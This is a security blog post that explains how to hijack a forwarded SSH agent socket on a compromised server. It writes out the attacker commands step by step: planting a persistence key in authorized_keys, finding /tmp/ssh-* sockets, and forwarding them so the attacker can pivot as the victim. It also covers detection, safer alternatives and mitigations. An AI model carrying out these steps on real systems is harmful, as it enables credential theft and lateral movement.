This is a story all about how my auth got flipped, turned inside out.
I love SSH.
No really, SSH is awesome. I remember first learning how to do cool SSH things from Hak5 videos in 2012. Then I got intimate with the man pages.
I love SSH keys, too. Soft keys, hard keys, all keys really. Whether you generated it with ssh-keygen and it lives happily at ~/.ssh/id_ed25519 or you bought a yubikey and it lives safely behind a touch or PIN, SSH keys are awesome. But sometimes managing SSH keys can be a real pain in the neck. Or worse, having to keep re-entering your password every time you want to scp a file to the remote host or execute a command across a fleet of servers. You ARE using passwords on your SSH keys, aren’t you? Enter the ssh-agent.
SSH agents are nifty little applications that let you authenticate to your key once, and then it keeps that in memory so that you don’t have to keep reauthenticating. The security of key-based authentication, the security of using a password on your keys, without the headache of having to type your password over and over again. There are even ways to load your yubikey into your SSH agent! Or make your agent available on the servers that you’re connecting to!
Or make your agent available on the servers that you’re connecting to…
This is called SSH Agent Forwarding. You may know it as ForwardAgent yes or maybe even ssh -A. It works by creating a special file on the remote server called a unix domain socket. This socket allows the remote server to talk to your SSH agent on your workstation via your SSH connection. The SSH agent that you loaded your private keys into so that you didn’t need to use a password or pin to use them.
This socket is typically created in /tmp/ssh-*, but you can see where it is by running echo $SSH_AUTH_SOCK. This socket belongs to your user, so only your user can use it, right? Well, kind of. Only your user, plus the sudoers on the machine, plus any attackers who have compromised your user. Maybe you’re the only one with an account on the server so you don’t have to worry about other users abusing your SSH agent. Except you’re running a WordPress blog as a shared user and it’s been compromised through a fancy free theme you installed 8 years ago, and now an attacker has access to your SSH agent and the ability to use the keys that lie within it. The private keys.
Let’s talk about abusing SSH Agent Forwarding.
Common Use Cases
Common use cases for SSH Agent Forwarding include, but are not limited to:
- SSHing to a remote server and then executing ssh commands on that server to pivot around
- SSHing to a remote server and using the forwarded agent to
git clonesource code - SSHing between two of your computers in order to not need per-device keys, or to access a hardware token on both devices
The Meat Of It
Hi kids! Do you like violence? Do you want to see me stick AUTH_SOCKS through each one of my devices?
I’ve had a fascination with abusing Agent Forwarding ever since I saw the Matrix hackers use it in 2019. On shared hosts, like network bastions or production servers that your whole team has access to, I don’t like the idea of trusting that none of the other users on the machine have been compromised. I don’t like the idea of not knowing when my keys are being used in my agent.
I’m calling this ForwardAgentForward, because well, we’re forwarding the forwarded agent. Forwarding it right to your laptop so that we can use it for whatever shenanigans we want. Really all it is is ForwardAgent combined with LocalForward.
The attack described herein assumes the following to be true:
- The victim loads their ssh keys into ssh-agent via a simple
ssh-add ~/.ssh/id_ed25519 - The victim has
ForwardAgent yesset in their.ssh/configOR regularly usesssh -Ato ssh to servers. - The attacker has user-level privilege for the victim user OR has root-level privilege on the server.
- The attacker is able to drop an SSH key for the corresponding level of compromise
Victim Activity
The victim of this attack, the person whose SSH agent is going to be hijacked, only needs to have logged into the compromised server with agent forwarding and keys loaded into their agent. E.g.
joey@workstation:~$ eval $(ssh-agent)
joey@workstation:~$ ssh-add ~/.ssh/id_ed25519
joey@workstation:~$ ssh -A joey@a.rooted-servers.net
Attacker Activity
If we assume the attacker has joey access on a.rooted-servers.net, and wants to pivot to b.rooted-servers.net, the attack will play out like so:
On the compromised server: If we don’t already have ssh access to the host, let’s add our ssh key so that we can come back as joey later, and then find out where the real joey’s SSH_AUTH_SOCK is.
# Write out our attacker's key to ~/.ssh/authorized_keys (or ~/.ssh/authorized_keys2 because some distros still include this as a default allowed file)
joey@a.rooted-servers.net:~$ echo ssh-ed25519 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> ~/.ssh/authorized_keys
# Identify the directory and socket that the real joey is using
joey@a.rooted-servers.net:~$ ls -lah /tmp/ssh-* 2>/dev/null
/tmp/ssh-AAAAAAAAAA:
total 0
drwx------ 2 joey joey 60 Mar 19 01:07 .
drwxrwxrwt 14 root root 1160 Mar 19 01:21 ..
srwxr-xr-x 1 joey joey 0 Mar 19 01:07 agent.1337
On the attacker’s workstation: Create a new SSH connection to a.rooted-servers.net as joey in order to establish the local forward.
# -N don't execute a command, -f fork to background, -L establish a local forward
# ~/.ssh/joey_sock path to the local file that will be created
# /tmp/ssh-AAAAAAAAAA/agent.1137 path to the socket that you're forwarding to
plague@hackbook:~$ ssh -N -f -L ~/.ssh/joey_sock:/tmp/ssh-AAAAAAAAAA/agent.1137 joey@a.rooted-servers.net
# Set SSH_AUTH_SOCK environment variable for this command to the socket that forwards to a.rooted-servers.net
# Then connect to b.rooted-servers.net
plague@hackbook:~$ SSH_AUTH_SOCK=~/.ssh/joey_sock joey@b.rooted-servers.net
joey@b.rooted-servers.net:~$ hostname -f
b.rooted-servers.net
Alternate Flow: Let’s say we already have SSH access to joey@a.rooted-servers.net and our current shell was established via SSH. No need to create a second connection! Ctrl-f for “Escape characters” on the ssh man page.
# Identify the directory and socket that the real joey is using
joey@a.rooted-servers.net:~$ ls -lah /tmp/ssh-* 2>/dev/null
/tmp/ssh-AAAAAAAAAA:
total 0
drwx------ 2 joey joey 60 Mar 19 01:07 .
drwxrwxrwt 14 root root 1160 Mar 19 01:21 ..
srwxr-xr-x 1 joey joey 0 Mar 19 01:07 agent.1337
joey@a.rooted-servers.net:~$ ~C
ssh> ?
Commands:
-L[bind_address:]port:host:hostport Request local forward
-R[bind_address:]port:host:hostport Request remote forward
-D[bind_address:]port Request dynamic forward
-KL[bind_address:]port Cancel local forward
-KR[bind_address:]port Cancel remote forward
-KD[bind_address:]port Cancel dynamic forward
joey@a.rooted-servers.net:~$ ~C
ssh> -L ~/.ssh/joey_sock:/tmp/ssh-AAAAAAAAAA/agent.1137
Forwarding port.
Again but with root
I’m not actually going to detail the whole attack again for a root compromise, because all you really need to know is that with the ability to establish ssh connections to root@a.rooted-servers.net, you can make use of any /tmp/ssh-* agent socket, rather than only the one for a particular user.
Detecting
One cool thing about this attack is that no suspicious commands are really executed on the compromised server. Yeah you’re going to add a key to authorized_keys, which you should probably be monitoring for changes to. But otherwise there’s no shady commands being executed on the server itself to show up in audit logs. All the shady business is happening on the attacker controlled machine.
- You could attempt to detect enumerations of auth sockets, but looking at files in the
/tmpdirectory is probably fairly common and will produce a lot of false positives. - You could set
sshdlogging level to DEBUG1, and then yoursshdlogs will include information about established forwarding. - You could patch your sshd to send tunnel information to syslog (Warning: Patching your sshd should be done with extreme caution.)
I guess the answer for this is basically that it’s difficult to detect without generating a bunch of extra information or risking a lot of false positives, and that maybe it’s better to try to prevent it as much as possible.
Use Case Alternatives
For the earlier use cases, there are alternative options that should be considered.
- Instead of
ForwardAgentso that you can ssh from the remote host, useProxyJumporProxyCommandto SSH through the remote host and into whatever it is that you were going to SSH to from the server. - Instead of using
ForwardAgentto get access to your ssh keys to clone authenticated repositories, you can generate an ssh key on the machine and use it as a read-only deployment key. This is supported in Bitbucket, GitHub, and GitLab. You can also put a password on this key if you’d like, so that an attacker wouldn’t be able to arbitrarily pull down new versions of the source code. - Instead of SSHing between your own computers to share keys, you should have per-workstation keys where possible. Use a password manager to keep track of the passwords for them if having multiple sets of SSH keys is annoying. If hardware tokens are involved, you should have multiple hardware tokens if you need to be able to use them from multiple places at the same time (but really, do you need to use them from multiple places at the same time?)
Mitigations
Connoisseurs of the man pages might now point out that ssh-add supports -c which tells the agent to ask for confirmation each time a key is used. This might seem like a good solution, and maybe it is for certain use cases where you just want to leave your keys in memory all the time because the password is 80 characters that you memorized 6 years ago and don’t want to type often. But it’s not a very good solution when you want to get the benefits of automation that use of an SSH agent can provide, since you’ll be asked for confirmation every time the key is accessed. Plus, if the SSH_ASKPASS environment variable isn’t set, the confirmation won’t show up. The connection will fail, but you won’t have seen a confirmation request.
Another option to mitigate this is to modify /etc/ssh/sshd_config and set AllowAgentForwarding no. This is not a panacea, though. The man pages will even tell you that this does not improve security, because users can just install their own forwarders. I do recommend doing this for multi-user machines anyways, because my experience suggests that a lot of users are using ForwardAgent yes simply because they think they have to in order to use their ssh agent. Or they are using it because it was in a command on StackOverflow. If a user has to bring their own forwarder, it’s much less likely to be done on accident.
Educating users about alternatives to ForwardAgent for their specific use case is really the best we can hope for, though.
Au revoir
This is just a quick night’s blog post about a technique that I think is super cool, particularly because it can be difficult to detect and can allow all sorts of mass pivoting if you already have an idea of where a particular user has access to.
